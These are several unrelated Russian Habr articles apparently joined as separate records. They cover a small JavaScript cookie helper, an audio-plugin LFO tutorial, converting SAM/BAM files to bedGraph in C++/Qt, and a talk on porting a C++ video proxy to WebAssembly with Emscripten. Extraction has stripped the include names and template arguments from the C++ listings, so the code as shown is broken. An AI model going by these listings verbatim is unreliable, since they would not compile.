var _c={g:function(d){var c=document.cookie.match("(^|;) ?"+d+"=([^;]*)(;|$)");return c?unescape(c[2]):null},d:function(d){var c=new Date;c.setTime(c.getTime()-1),document.cookie=d+="=; expires="+c.toGMTString()},s:function(k,r,i,a,n,q,o,c){var e=k+"="+escape(r);i&&(e+="; expires="+new Date(i,a,n).toGMTString());q&&(e+="; path="+escape(q)),o&&(e+=";domain="+escape(o)),c&&(e+="; secure"),document.cookie=e}},cookie=new Proxy({get_cookie:_c.g,delete_cookie:_c.d,det_cookie:_c.s},{get:(d,c)=>c in d?d[c]:_c.g(c),set:(e,c,f)=>f?_c.s(c,f):_c.d(c)});
```
Прошу любить и жаловать в комментариях ) | https://habr.com/ru/post/472972/ | null | ru | null |
# Создание аудиоплагинов, часть 12
Все посты серии:
[Часть 1. Введение и настройка](http://habrahabr.ru/post/224911/)
[Часть 2. Изучение кода](http://habrahabr.ru/post/225019/)
[Часть 3. VST и AU](http://habrahabr.ru/post/225457/)
[Часть 4. Цифровой дисторшн](http://habrahabr.ru/post/225751/)
[Часть 5. Пресеты и GUI](http://habrahabr.ru/post/225755/)
[Часть 6. Синтез сигналов](http://habrahabr.ru/post/226439/)
[Часть 7. Получение MIDI сообщений](http://habrahabr.ru/post/226573/)
[Часть 8. Виртуальная клавиатура](http://habrahabr.ru/post/226823/)
[Часть 9. Огибающие](http://habrahabr.ru/post/227475/)
[Часть 10. Доработка GUI](http://habrahabr.ru/post/227601/)
[Часть 11. Фильтр](http://habrahabr.ru/post/227791/)
[Часть 12. Низкочастотный осциллятор](http://habrahabr.ru/post/227827/)
[Часть 13. Редизайн](http://habrahabr.ru/post/228267/)
[Часть 14. Полифония 1](http://habrahabr.ru/post/231513/)
[Часть 15. Полифония 2](http://habrahabr.ru/post/231923/)
[Часть 16. Антиалиасинг](http://habrahabr.ru/post/232153/)
---
*Низкочастотный осциллятор* (*Low Frequency Oscillator, LFO*) — это важная составляющая любого классического синтезатора, и мы добавим ее в свой плагин. Как понятно из названия, это просто осциллятор. Мы используем написанный нами ранее класс `Oscillator` и зададим ему низкую частоту.
Начнем с *Synthesis.h*. Добавьте в `private`:
```
Oscillator mLFO;
double lfoFilterModAmount;
```
`lfoFilterModAmount` обозначает, как сильно LFO будет влиять на фильтр. Этот параметр надо инициализировать в конструкторе в *Synthesis.cpp*:
```
lfoFilterModAmount(0.1)
```
Почему именно `0.1`? Тут мы просто хотим показать принципиальную легкость создания LFO. Мы добавим отдельные ручки управления этому осциллятору позже, на этапе редизайна. В конец конструктора допишите:
```
mLFO.setMode(OSCILLATOR_MODE_TRIANGLE);
mLFO.setFrequency(6.0);
mLFO.setMuted(false);
```
Тут просто выбирается треугольная волна, частота 6 Гц, и снимается флаг `isMuted`. Если добавлять для LFO элементы управления в интерфейс, то первые две функции должны вызываться из `OnParamChange`. А флаг `isMuted` зависит от того, равно ли нулю значение параметра `lfoFilterModAmount`.
Так как это осциллятор, мы должны сообщать ему об изменениях частоты семплирования в `Synthesis::Reset`:
```
mLFO.setSampleRate(GetSampleRate());
```
Теперь давайте установим в `ProcessDoubleReplacing` некоторые значения LFO. Замените цикл `for` на следующий:
```
for (int i = 0; i < nFrames; ++i) {
mMIDIReceiver.advance();
int velocity = mMIDIReceiver.getLastVelocity();
double lfoFilterModulation = mLFO.nextSample() * lfoFilterModAmount;
mOscillator.setFrequency(mMIDIReceiver.getLastFrequency());
mFilter.setCutoffMod((mFilterEnvelopeGenerator.nextSample() * filterEnvelopeAmount) + lfoFilterModulation);
leftOutput[i] = rightOutput[i] = mFilter.process(mOscillator.nextSample() * mEnvelopeGenerator.nextSample() * velocity / 127.0);
}
```
Значение `lfoFilterModulation` меняется от `-1` до `+1`. Для аргумента функции `setCutoffMod` мы складываем контролируемую огибающей частоту среза и величину `lfoFilterModulation`, то есть срез теперь изменяется под воздействием двух параметров.
Вот, собственно, и все! Протестируйте — звук должен быть слегка пульсирующим, это особенно заметно, если выбрать форму волны, отличную от синуса.
Код проекта на данной стадии можно скачать [отсюда](http://martin-finke.de/blog/articles/audio-plugins-014-lfo/source.zip).
В следующий раз займемся редизайном, чтобы плагин выглядел приятнее:
[Оригинал поста](http://martin-finke.de/blog/articles/audio-plugins-014-lfo/). | https://habr.com/ru/post/227827/ | null | ru | null |
# Практическая биоинформатика ч. 2
Эта статья расскажет о том, как обработать данные, полученные после pipeline, выходом которого будет sam/bam файл[1], создать несложный bed graph файл (http://genome.ucsc.edu/FAQ/FAQformat.html) и просмотреть его с помощью UCSC genome browser[2]. Очень сложно решиться, на чем писать программы, ибо уже есть огромное количество чужих наработок и совсем не хочется сочинять колесо там, где этот этап уже пройден. Долго мучаясь, я решил остановиться на C++, хотя Python и R рассматривались на равных. Также сохранилась идея, что может понадобиться графика, да ещё и под Linux, поэтому к С++ прибавилось Qt. Надеюсь, в этой статье я расскажу достаточно подробно о всем выше перечисленном, чтобы ответить на вопрос, заданный мне в начале пути и озвученный в первой части повествования.
Для работы с sam/bam файлами нам понадобится собранный пакет samtools[1]. Скачиваем пакет с сайта [samtools.sourceforge.net](http://samtools.sourceforge.net/), разворачиваем в директорию, например, /usr/src заходим в создавшуюся директорию и набираем make. У меня в системе не было установлено XCurses и я заменил строчку “LIBCURSES= -lXCurses” на “LIBCURSES= -lncurses” и все собралось. Результатом работы программы make стала собранная программа samtools и библиотека libbam.a.
Нам нужны C++ классы, которые будут хранить информацию о ридах, генах, интронах, эксонах и т.д. Для организации таких классов я воспользовался boost.intervals, хотя и не совсем в том виде, как хотелось. Ни boost.intervals, ни boost.icl не позволяют сохранять полную информацию об отрезках. Мне нужна следующая информация о множестве отрезков:
* любая пара начало/конец, начало/длина;
* все отрезки закрытые, т.е. включают концы;
* сколько отрезков начинается в заданной точке;
* сколько отрезков пересекается в точке;
* сколько отрезков начинается в заданном отрезке или пересекается с заданным отрезком.
В частности, эта информация ответит на вопрос, какова высота покрытия отрезками текущего участка координатной оси.
С каждой новой статьей я буду пополнять и изменять эти классы. Сейчас их достаточно, чтобы собрать программу и прикинуть чего не хватает для будующего. Вот пример получившихся классов.
Reads.hpp
```
#ifndef _READS_29122011_HPP_
#define _READS_29122011_HPP_
#include
#include
#include
#include
namespace genome {
namespace bni = boost::numeric;
typedef bni::interval read\_position;
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
class Read
{
public:
Read():
multiplying(1),
length(0){};
Read(Read const &r):
multiplying(r.multiplying),
length(r.length),
position(r.position){
sentenceRepresentation=r.sentenceRepresentation;
qualityRepresentation=r.qualityRepresentation;};
Read(int start,int len,QString sr="",QString qr=""):
multiplying(1),
length(len),
position(start,start+len-1),
sentenceRepresentation(sr),
qualityRepresentation(qr){};
int getLevel() {return multiplying;};
void plusLevel() {++multiplying;};
int getStart() {return position.lower();};
int getLength() {return length;};
void operator+= (const int& c) {this->multiplying+=c;};
bool operator== (const Read& r) const {return this->position==r.position;};
bool operator!= (const Read& r) const {return this->position!=r.position;};
void operator++ (int) {this->multiplying++;};
private:
int multiplying;
int length;
read\_position position;
QString sentenceRepresentation;
QString qualityRepresentation;
};
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
typedef QMap cover\_map;
class Cover
{
public:
Cover():max\_len(0){};
void add(Read&);
int getHeight(int);
int getHeight(int,int);
int getStarts(int);
int getStarts(int,int);
QList getStarts();
cover\_map::iterator getBeginIterator(){return covering.begin();};
cover\_map::iterator getEndIterator(){return covering.end();};
bool operator== (const Cover& c) const {return this==&c};
bool isEmpty(){return covering.size()==0;};
// static Cover empty(){ return Cover();};
private:
cover\_map covering;
int max\_len;
};
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
class Lines
{
public:
Lines(){};
Lines(Lines&){};
void addLine(QString, Read&);
Cover& getLineCover(QString);
QList getLines(void)
{
return lines.keys();
};
/\*
\*/
private:
QMap lines;
};
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
class GenomeDescription:
public Lines
{
public:
quint64 notAligned; // number of reads (ussualy form sam/bam file) that are not aligned
quint64 total;
/\*
\*/
void setGene(const QChar &sense,const QString &chrName,const qint32 &pos,const qint32 &,const qint32 &len)
{
Read r(pos,len);
addLine(chrName+sense,r);
};
/\*
\*/
GenomeDescription():Lines(),
notAligned(0),
total(0)
{};
};
}
#endif
```
Теперь приступим к обертке над функциями для работы с sam файлами. Отличие между sam и bam заключается в том, что первый — это обычный текстовый файл, хоть и форматированный, а второй — сжатый и бинарный, т.е. структурированный. Я предпочитаю работать с bam при большом количестве ридов, sam файл может достигать гигабайтов.
BEDHandler.hpp
```
#ifndef BEDHandler_H
#define BEDHandler_H
#include
#include
template
class BEDHandler : public QState
{
private:
Storage \*sam\_input;
Result \*output;
QSettings setup;
QFile \_outFile;
public:
BEDHandler(Storage &sam,Result &output,QState \*parent=0);
~BEDHandler();
protected:
virtual void onEntry(QEvent\* event);
};
#include
#endif
```
BEDHandler.cpp
```
//-------------------------------------------------------------
//-------------------------------------------------------------
template
BEDHandler::~BEDHandler()
{
}
//-------------------------------------------------------------
//-------------------------------------------------------------
template
BEDHandler::BEDHandler(Storage& sam,Result &\_output,QState \* parent):
QState(parent),
sam\_input(&sam),
output(&\_output)
{
\_outFile.setFileName(setup.value("outFileName").toString());
\_outFile.open(QIODevice::WriteOnly|QIODevice::Truncate);
}
//-------------------------------------------------------------
//-------------------------------------------------------------
template
void BEDHandler::onEntry(QEvent\*)
{
if(!setup.contains("graphWindow"))
setup.setValue("graphWindow",200);
if(!setup.contains("siteShift"))
setup.setValue("siteShift",75);
if(!setup.contains("separateStrand"))
setup.setValue("separateStrand",false);
if(!setup.contains("HeaderString"))
setup.setValue("HeaderString","track type=bedGraph name=%1");
if(setup.value("HeaderString").toString()!="")
{
\_outFile.write((setup.value("HeaderString").toString().arg(\_outFile.fileName())+"\n").toLocal8Bit());
\_outFile.flush();
}
quint32 window=setup.value("graphWindow").toUInt();
quint32 shift= setup.value("siteShift").toUInt();
QString line;
QString chrome;
foreach(line,sam\_input->getLines())
{
if(line.endsWith("-")) continue;
chrome=line;
chrome.truncate(line.length()-1);
QMap bed;
{
genome::cover\_map::iterator i=sam\_input->getLineCover(chrome+QChar('+')).getBeginIterator();
genome::cover\_map::iterator e=sam\_input->getLineCover(chrome+QChar('+')).getEndIterator();
while(i!=e)
{
int val=i.key()+shift;
bed[val-val%window]+=i.value().getLevel();
++i;
}
}
{
genome::cover\_map::iterator i=sam\_input->getLineCover(chrome+QChar('-')).getBeginIterator();
genome::cover\_map::iterator e=sam\_input->getLineCover(chrome+QChar('-')).getEndIterator();
while(i!=e)
{
int val=i.key()-shift;
if(val<0) val=0;
bed[val-val%window]+=i.value().getLevel();
++i;
}
}
QMap::iterator i = bed.begin();
for(;i!=bed.end();i++)
{
\_outFile.write(QString(chrome+"\t%1\t%2\t%3\n").
arg(i.key()).arg(i.key()+window).arg(i.value()).toLocal8Bit());
\_outFile.flush();
}
}
}//end of function
```
Оставшуюся часть кода я приводить в статье не буду, [вот ссылка на архив](https://sites.google.com/a/porter.st/porter/Home/src.tar.gz?attredirects=0&d=1), структура довольно простая: в корне две директории thirdparty и src, в первой лежит samtools, во второй — sam2bedgraph и global. Для того, чтобы собрать проект, надо в директории sam2bedgraph запустить qmake и затем make. Проверял под openSUSE 12.1 x64 с родной Qt (4.7.4) и boost (1.46.1).
Ссылка на описание структуры bedgraph файла приведена в первом абзаце, но вкратце упомяну. Первая строчка задает характеристики файла, если присутствует. Тело файла содержит как минимум 4 столбца. В первом столбце указывается название хромосомы, во втором и третьем — координаты начала и конца отрезка («окна»), соответственно. В последнем столбце — «высота», в нашем случае это количество начал ридов на это окно. Размеры «окна» для каждого файла лучше подбирать экспериментально. Я для ChIP-seq использую окно в 200 bp, для RNA-seq окно в 20 bp.
У программы может быть два параметра: входной .bam файл и выходной файл, куда запишутся данные о bedgraph. Параметры можно и не задавать, тогда программа попытается открыть файл по умолчанию input.bam и создать выходной output.data. В домашней директории пользователя будет создана директория с конфигурационным файлом .config/CCHMC/sam2bedgraph.ini, в котором можно поменять значения имен файлов по умолчанию, изменить длину «окна», для которого считаем высоты и задать вид первой информационной строчки.
Получившийся файл можно загрузить в genome browser. Идем на сайт [genome.ucsc.edu](http://genome.ucsc.edu/)[2] нажимаем на ссылку Genomes.
Попадаем на следующую страницу, где необходимо задать условия, при которых был получен наш bam файл: Clade(Эволюционная линия), genome (Геном), assembly (Аннотация, Сборка). И затем нажать кнопку “add custom tracks”.
Теперь можно нажать кнопку «Choose file» и загрузить наш файл, нажав кнопку «Submit». В результате попадаем на страницу с аннотацией, на которую будет выведена информация из базы данных и из нашего bedgraph. Если установить genome browser локально, то можно добавлять bedgraph на сайт не временно в рамках сессии, а постоянно. Можно организовывать специальные линки на сайт, в которых будет указано, где брать bedgraph файл. На сайте приведена инструкция, как скопировать genome browser.
Можно загрузить несколько файлов, что я и сделал. Результат вы видите на следующем скриншоте.
Как видно на этом скриншоте, есть участки с нулевым уровнем, а есть участки с обогащением, там где пики. Иногда виден фон или шум. Также наглядно видно, чем отличается ChIP-seq от RNA-seq. Определение этих участков из программы — отдельный вопрос, однозначного ответа на который нет. Дело в том, что пиков может быть столько, сколько генов в геноме или, и того хуже, сколько экзонов. И отделить обогащённые участки в рамках эксперимента очень трудоемко.
1. Li, H., et al., The Sequence Alignment/Map format and SAMtools. Bioinformatics, 2009. 25(16): p. 2078-9.
2. Kent, W.J., et al., The human genome browser at UCSC. Genome Res, 2002. 12(6): p. 996-1006.
3. Dreszer, T.R., et al., The UCSC Genome Browser database: extensions and updates 2011. Nucleic Acids Res, 2012. 40(Database issue): p. D918-23. | https://habr.com/ru/post/137082/ | null | ru | null |
# Разработка под WebAssembly: реальные грабли и примеры
Анонс WebAssembly состоялся в 2015-м — но сейчас, спустя годы, всё ещё немногие могут похвастаться им в продакшне. Тем ценнее материалы о подобном опыте: информация из первых рук о том, каково с этим жить на практике, пока что в дефиците.
На конференции HolyJS доклад об опыте использования WebAssembly получил высокие оценки зрителей, и теперь специально для Хабра подготовлена текстовая версия этого доклада (видеозапись также приложена).
Меня зовут Андрей, я расскажу вам про WebAssembly. Можно сказать, что я начал заниматься вебом в прошлом веке, но я скромный, поэтому так говорить не буду. За это время я успел поработать и над бэкендом, и над фронтендом, и даже немножко рисовал дизайн. Сегодня я интересуюсь такими вещами, как WebAssembly, C++ и прочими нативными штуками. Еще я очень люблю типографику и собираю старую технику.
Сначала я расскажу о том, как мы с командой внедряли WebAssembly в нашем проекте, потом мы обсудим, нужно ли вам что-то от WebAssembly, и закончим несколькими советами на случай, если вы захотите внедрить это у себя.
Как мы внедряли WebAssembly
---------------------------
Я работаю в компании Inetra, мы находимся в Новосибирске и делаем несколько собственных проектов. Один из них — ByteFog. Это технология peer-to-peer доставки видео пользователям. Нашими клиентами являются сервисы, которые раздают огромное количество видео. У них есть проблема: когда случается какое-то популярное событие, например, чья-то пресс-конференция или какое-то спортивное событие, как к нему не готовься, приходит куча клиентов, наваливается на сервер, и сервер грустит. Клиенты в это время получают очень плохое качество видео.
Но ведь все смотрят один и тот же контент. Давайте попросим соседние устройства пользователей поделиться кусочками видео, и тогда мы разгрузим сервер, сэкономим полосу, а пользователи получат видео в лучшем качестве. Вот эти облачка — наша технология, наш прокси-сервер ByteFog.
Мы должны быть установлены в каждом устройстве, которое умеет показывать видео, поэтому поддерживаем очень широкий спектр платформ: Windows, Linux, Android, iOS, Web, Tizen. Какой язык выбрать, чтобы иметь единую кодовую базу на всех этих платформах? Мы выбрали C++, потому что у него оказалась больше всего плюсов :-D Если серьёзнее, мы имеем хорошую экспертизу по C++, это действительно быстрый язык, и в портативности он уступает, наверное, только С.
У нас получилось довольно большое приложение (900 классов), но оно отлично работает. Под Windows и Linux мы компилируемся в нативный код. Под Android и iOS мы собираем библиотеку, которую подключаем к приложению. Про Tizen поговорим в другой раз, а вот на Web мы раньше работали как плагин к браузеру.
Это технология Netscape Plugin API. Как видно из названия, она довольно старая, а также имеет недостаток: дает очень широкий доступ к системе, так что пользовательский код может вызвать проблему с безопасностью. Наверное, поэтому в 2015 году Chrome отключил поддержку этой технологии, и следом все браузеры присоединились к этому флешмобу. Так мы остались без веб-версии почти на два года.
В 2017 году забрезжила новая надежда. Как вы догадываетесь, это WebAssembly. В итоге мы поставили перед собой задачу портировать наше приложение в браузер. Поскольку к весне уже появилась поддержка Firefox и Chrome, а к осени 2017 года подтянулись Edge и Safari.
Использовать готовый код нам было важно, так как у нас много бизнес-логики, которую не хотелось двоить, чтобы не удвоить количество багов. Берем компилятор Emscripten. Он делает то, что нам нужно, — компилирует плюсовое приложение в браузер и воссоздает среду, привычную нативному приложению в браузере. Можно сказать, что Emscripten — это такой Browserify для C++ кода. Также он позволяет пробрасывать объекты из C++ в JavaScript и наоборот. Первая наша мысль была: сейчас возьмем Emscripten, просто скомпилируем, и все заработает. Конечно же, вышло не так. С этого начался наш путь по граблям.
Первое, с чем мы столкнулись, — зависимости. В нашей кодовой базе было несколько библиотек. Сейчас их перечислять нет смысла, но для тех, кто понимает, у нас есть Boost. Это большая библиотека, которая позволяет писать кроссплатформенный код, но с ней очень сложно настроить компиляцию. Хотелось как можно меньше кода тащить в браузер.
### Архитектура Bytefog
В итоге мы выделили ядро: можно сказать, что это прокси-сервер, в котором содержится основная бизнес-логика. Этот прокси-сервер берет данные по двум источникам. Первый и основной — это HTTP, то есть канал к серверу раздачи видео, второй — наша P2P сеть, то есть канал до другого такого же прокси у какого-то другого пользователя. Отдаем мы данные в первую очередь плееру, так как наша задача — показать качественный контент пользователю. Если остаются ресурсы, мы раздаем контент в P2P сеть, чтобы другие пользователи могли его скачать. Внутри находится умный кэш, который и делает всю магию.
Скомпилировав это всё, мы столкнулись с тем, что WebAssembly выполняется в песочнице браузера. А значит, не может большего, чем дает JavaScript. В то время как нативные приложения используют много платформозависимых вещей, таких как файловая система, сеть или случайные числа. Все эти возможности придется реализовать на JavaScript с помощью того, что дает нам браузер. В этой табличке перечисленные достаточно очевидные замены.
Чтобы это стало возможным, необходимо в нативном приложении отпилить реализацию нативных возможностей и вставить там интерфейс, то есть провести некоторую границу. Затем вы реализуете это на JavaScript и оставляете нативную реализацию, а уже при сборке выбирается нужное. Итак, мы посмотрели на нашу архитектуру и нашли все места, где можно провести эту границу. Так совпало, что это транспортная подсистема.
Для каждого такого места мы определили спецификацию, то есть зафиксировали контракт: какие будут методы, какие у них будут параметры, какие типы данных. Как только вы это сделали, можно работать параллельно, каждый разработчик на своей стороне.
Что получилось в итоге? Основной канал доставки видео от провайдера мы заменили на обычный AJAX. К плееру мы выдаем данные через популярную библиотеку HLS.js, но есть принципиальная возможность интегрироваться с другими плеерами, если это будет нужно. Весь P2P-слой мы заменили на WebRTC.
В результате компиляции получается несколько файлов. Самый главный — двоичный .wasm. В нем содержится скомпилированный байт-код, который браузер будет выполнять и в котором содержится все ваше наследство C++. Но сам по себе он не работает, необходим, так называемый «клеевой код», его также генерирует компилятор. Клеевой код занимается загрузкой двоичного файла, и оба этих файла вы выкладываете на продакшен. Для целей отладки можно сгенерировать текстовое представление ассемблера — .wast-файл и sourcemap. Нужно понимать, что они могут быть очень большого размера. В нашем случае достигали 100 мегабайт и более.
### Собираем бандл
Рассмотрим клеевой код поближе. Это обычный старый-добрый ES5, собранный в один файл. Когда мы его подключаем на веб-страницу, у нас появляется глобальная переменная, в которой содержится весь наш инстанциированный wasm-модуль, который готов принимать запросы в свое API.
Но подключать отдельный файл — это достаточно серьезное усложнение для библиотеки, которую будут использовать пользователи. Мы хотели бы собрать все в единый бандл. Для этого мы используем Webpack и специальную опцию компиляции MODULARIZE.
Она оборачивает клеевой код в паттерн «Модуль», и мы можем подцепить его: импортировать или использовать require, если мы пишем на ES5, — Webpack спокойно понимает эту зависимость. Возникла проблема с Babel, — ему не понравился большой объем кода, но это ES5-код, его не нужно транспилировать, мы просто добавляем его в игнор.
В погоне за количеством файлов я решил использовать опцию SINGLE\_FILE. Все двоичные файлы, которые получились при компиляции, она переводит в Base64-вид и заталкивает в клеевой код в виде строки. Звучит как отличная идея, но после этого бандл у нас стал размером 100 мегабайт. На таком объеме ни Webpack, ни Babel, ни даже браузер не работают. Да и вообще, не будем же мы заставлять пользователя грузить 100 мегабайт?!
Если задуматься, то эта опция не нужна. Клеевой код самостоятельно загружает двоичные файлы. Делает он это по HTTP, значит мы из коробки получаем кэширование, можем выставить любые заголовки, которые хотим, например, включить сжатие, а WebAssembly-файлы отлично сжимаются.
Но самая крутая технология — это потоковая компиляция. То есть WebAssembly-файл, пока скачивается с сервера, может уже компилироваться в браузере по мере поступления данных, и это очень ускоряет загрузку вашего приложения. Вообще вся технология WebAssembly имеет фокус на быстром старте большой кодовой базы.
### Thenable
Другая проблема с модулем — то, что он является объектом Thenable, то есть имеет метод .then(). Эта функция позволяет навесить callback на момент старта модуля, и это очень удобно. Но хотелось бы, чтобы интерфейс соответствовал Promise. Thenable — это не Promise, но ничего страшного, обернем сами. Напишем такой простой код:
```
return new Promise((resolve, reject) => {
Module(config).then((module) => {
resolve(module);
});
});
```
Создаем Promise, стартуем наш модуль, и как callback вызываем функцию resolve и передаем туда тот модуль, который у нас инстанцировался. Все вроде бы очевидно, все прекрасно, запускаем — что-то не так, у нас завис браузер, у нас зависли DevTools, и у компьютера греется процессор. Мы ничего не понимаем — какая-то рекурсия или бесконечный цикл. Отлаживать это довольно сложно, и когда мы прервали работу JavaScript, мы оказались в функции Then в модуле Emscripten.
```
Module[‘then’] = function(func) {
if (Module[‘calledRun’]) {
func(Module);
} else {
Module[‘onRuntimeInitialized’] = function() {
func(Module);
};
};
return Module;
};
```
Давайте посмотрим на нее подробнее. Участок
```
Module[‘onRuntimeInitialized’] = function() {
func(Module);
};
```
отвечает за навешивание callback. Тут все понятно: асинхронная функция, которая вызывает наш callback. Все, как мы хотим. Есть другая часть этой функции.
```
if (Module[‘calledRun’]) {
func(Module);
```
Она вызывается, когда модуль уже стартовал. Тогда callback синхронно вызывается сразу же, и ему передается в параметр модуль. Это имитирует поведение Promise, и вроде бы это то, что мы ожидаем. Но что же тогда не так?
Если внимательно почитать документацию, оказывается, что есть очень тонкий момент про Promise. Когда мы резолвим Promise с помощью Thenable-объекта, браузер будет разворачивать значения из этого Thenable-объекта, и для этого он вызовет метод .then(). В итоге мы резолвим Promise, передаем ему модуль. Браузер спрашивает: Thenable ли это объект? Да, это Thenable-объект. Тогда у модуля вызывается функция .then(), и в качестве callback передается сама функция resolve.
Модуль проверяет, запущен ли он. Он уже запущен, поэтому callback вызывается сразу же, и ему передается снова этот же модуль. В качестве callback у нас функция resolve, и браузер спрашивает: это Thenable-объект? Да, это Thenable-объект. И все начинается снова. В результате мы впадаем в бесконечный цикл, из которого браузер не возвращается никогда.
Элегантного решения этой проблемы я не нашел. В результате я просто удаляю метод .then() перед resolve, и это работает.
### Emscripten
Итак, модуль мы скомпилировали, JS собрали, но чего-то не хватает. Наверное, нам нужно сделать какую-то полезную работу. Для этого нужно передать данные и связать два мира — JS и C++. Как это сделать? Emscripten предоставляет целых три возможности:
* Первая — это функции ccall и cwrap. Чаще всего вы их встретите в каких-то туториалах по WebAssembly, но для реальной работы они не годятся, так как не поддерживают возможности C++.
* Вторая — это WebIDL Binder. Он уже поддерживает C++ функции, с ним уже можно работать. Это серьезный язык описания интерфейсов, которым пользуются, например, W3C для своей документации. Но мы не захотели нести его в свой проект и воспользовались третьей опцией
* Embind. Можно сказать, что это нативный способ связи объектов для Emscripten, он основан на шаблонах C++ и позволяет делать очень много вещей по пробросу разных сущностей из C++ в JS и обратно.
Embind позволяет:
* Вызывать из JavaScript-кода функции C++
* Создавать JS-объекты из C++ класса
* Из C++ кода обратиться к API браузера (если вы зачем-то этого хотите, можно, например, написать фронтенд-фреймворк целиком на C++).
* Главное для нас: реализовать на JavaScript интерфейс, описанный на C++.
### Обмен данными
Последний пункт важен, так как это именно то действие, которое вы будете постоянно делать при портировании приложения. Поэтому я бы хотел остановиться на нем подробнее. Сейчас будет код на C++, но не пугайтесь, это почти как TypeScript :-D
Схема такая:
На стороне C++ есть ядро, которому мы хотим дать доступ, например, во внешнюю сеть — покачать видео. Раньше оно это делало с помощью нативных сокетов, был какой-то HTTP-клиент, который это делал, но в WebAssembly нет нативных сокетов. Нужно как-то выкручиваться, поэтому мы отрезаем старый HTTP-клиент, в это место вставляем интерфейс, и реализацию этого интерфейса делаем в JavaScript с помощью обычного AJAX, любым способом. После этого полученный объект мы передадим обратно в C++, где его будет использовать ядро.
Сделаем простейший HTTP-клиент, который может делать только get-запросы:
```
class HTTPClient {
public:
virtual std::string get(std::string url) = 0;
};
```
На вход он принимает строку с URL-адресом, который надо скачать, и на выход
строку с результатом запроса. В C++ строки могут иметь двоичные данные, поэтому для видео это подходит. Emscripten заставляет нас написать вот
такой страшный Wrapper:
В нем главное — две вещи — имя функции на стороне C ++ (я обозначил их зеленым цветом), и соответствующие им имена на стороне JavaScript, (их обозначил синим). В итоге мы пишем декларацию связи:
Она работает как кубики Lego, из которых мы её собираем. У нас есть класс, у этого класса есть метод, и мы хотим наследоваться от этого класса, чтобы реализовать интерфейс. Это все. Мы идем в JavaScript и наследуемся. Это можно сделать двумя путями. Первый — extend. Это очень похоже на старый добрый extend из Backbone.
В модуле содержится все, что накомпилировал Emscripten, и в нем есть свойство с экспортированным интерфейсом. Мы вызываем метод extend и передаем туда объект с реализацией этого метода, то есть в функции get будет реализован какой-то способ
получения информации с помощью AJAX.
На выходе extend дает нам обычный JavaScript-конструктор. Мы можем вызывать его сколько угодно раз и сгенерировать объекты в том количестве, которое нам необходимо. Но бывает ситуация, когда у нас есть один объект, и мы хотим его просто передать на сторону C++.
Для этого нужно как-то привязать этот объект к типу, который поймет C++. Это и делает функция implement. На выходе она дает не конструктор, а уже готовый к употреблению объект, наш клиент, который мы можем отдать обратно в C++. Сделать это можно, например, вот так:
```
var app = Module.makeApp(client, …)
```
Допустим, у нас есть фабрика, которая создает наше приложение, и в параметры она принимает свои зависимости, например, client и что-нибудь еще. Когда эта функция отработает, мы получим объект нашего приложения, который уже содержит API, которое нам нужно. Можно сделать наоборот:
```
val client = val::global(″client″);
client.call(″get″, val(...) );
```
Прямо из C++ взять из глобальной области видимости браузера наш client. Причем на месте client может быть любое API браузера, начиная от консоли, заканчивая DOM API, WebRTC — всё, что вам заблагорассудится. Далее мы вызываем методы, которые есть у этого объекта, а все значения оборачиваем в магический класс val, который предоставляет нам Emscripten.
### Ошибки биндинга
В целом это всё, но когда вы начнете разработку, вас подстерегают ошибки биндинга. Они выглядят как-то так:
Emscripten старается помогать нам и объяснять, что же происходит не так. Если это все просуммировать, то нужно следить, чтобы совпадали (легко опечататься и получить ошибку биндинга):
* Имена
* Типы
* Количество параметров
Синтаксис Embind непривычен не только для фронтендеров, но и для людей, которые занимаются C++. Это некий DSL, в котором легко сделать ошибку, нужно за этим следить. Говоря об интерфейсах, когда вы реализуете на JavaScript какой-то интерфейс, нужно, чтобы он точно соответствовал тому, что вы описали в своем контракте.
У нас произошел интересный случай. Мой коллега Юра, который занимался проектом со стороны C++, использовал Extend, чтобы проверять свои модули. У него они отлично работали, поэтому он их закоммитил и передал мне. Я использовал implement для интеграции этих модулей в JS-проект. И у меня они работать перестали. Когда мы разобрались, оказалось, что при биндинге в названиях функций получилась опечатка.
